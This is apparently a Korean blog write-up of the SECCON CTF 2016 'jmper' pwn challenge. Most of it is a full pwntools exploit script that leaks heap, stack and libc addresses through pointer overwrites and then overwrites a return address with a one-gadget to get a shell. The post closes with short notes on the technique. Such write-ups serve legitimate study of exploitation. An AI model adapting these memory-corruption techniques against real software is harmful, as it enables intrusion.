-
SECCON CTF 2016 - jmperCTF 2016. 12. 11. 16:44
jmper 문제는 setjmp, longjmp에서 트리거를 하는건데, rsp를 릭했을경우 리턴되는 스택주소를 예측가능해 덮어줄 수 있는 문제이다.
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697from pwn import *#p = remote("10.211.55.3",9910)p = remote("jmper.pwn.seccon.jp",5656)def add():print p.recvuntil(":)")p.sendline("1")def name(idx,name):print p.recvuntil(":)")p.sendline("2")print p.recvuntil("ID:")p.sendline(str(idx))print p.recvuntil("name:")p.sendline(name)def write(idx,data):print p.recvuntil(":)")p.sendline("3")print p.recvuntil("ID:")p.sendline(str(idx))print p.recvuntil("memo:")p.sendline(data)def showname(idx):print p.recvuntil(":)")p.sendline("4")print p.recvuntil("ID:")p.sendline(str(idx))def showmemo(idx):print p.recvuntil(":)")p.sendline("5")print p.recvuntil("ID:")p.sendline(str(idx))raw_input()add()write(0,"A"*32)name(0,"A"*16)showmemo(0)#heap leakprint p.recvuntil("A"*32)heap_leak = u32(p.recv(4))print hex(heap_leak)# add()# write(1,"A"*32 + "\x70")# name(1,"A"*8 + p32(0x601FF0))add()write(1,"A"*32 + "\x70")name(1,"A"*8 + p32(heap_leak-0x100+8))# name(1,p32(0x400730) + "AAAA")showname(1)stack = u64(p.recv(12).ljust(8,"\x00"))add()write(2,"A"*32+"\x50")add()write(3,"A"*32)name(2,"A"*8 +"\x50")name(2,"A"*8 + p32(0x601FF0))showname(3)exit_leak = u64(p.recv(12).ljust(8,"\x00"))libc_base = exit_leak-0x3C1E0one_shot = libc_base + 0x46428log.info("stack: " + hex(stack))log.info("oneshot: " + hex(one_shot))add()write(4,"D"*32 +'\xc0')name(4,"A"*8 + p64(stack-0xd8))add()name(4,p64(one_shot)*2)for i in range(0,25):add()p.interactive()cs 요즘 무슨 다힙임
익스봐도 알듯
딱히 어렵지않음 name ptr 변조해서 연계하고 원샷으로 리턴덮으면 끝나는문제.
마지막에 setjmp랑 longjmp에서 좀 힘들었다.
jmpbuf로 원샷 넣어서하는 사람도 많았겠지만 이 방법으로 풀었당.
요즘 다 힙인데 힙공부나 해야겠다 ~ ~ ~
* 처음에 name ptr이 1바이트밖에 덮히지않는다. 이것을 다 덮을수있도록 이전 8바이트의 주소, 즉 1바이트만 수정하면되니까 이런식으로 수정해가며 연계하면 된다.
'CTF' 카테고리의 다른 글
HolyShield 2016 PPC (0) 2016.12.20 SECCON CTF 2016 - chat (0) 2016.12.13 [BCTF 2016] Memo (0) 2016.11.28 Plaid CTF 2014 ezhp (1) 2016.11.28 [Belluminar 2016] remuheap (2) 2016.11.27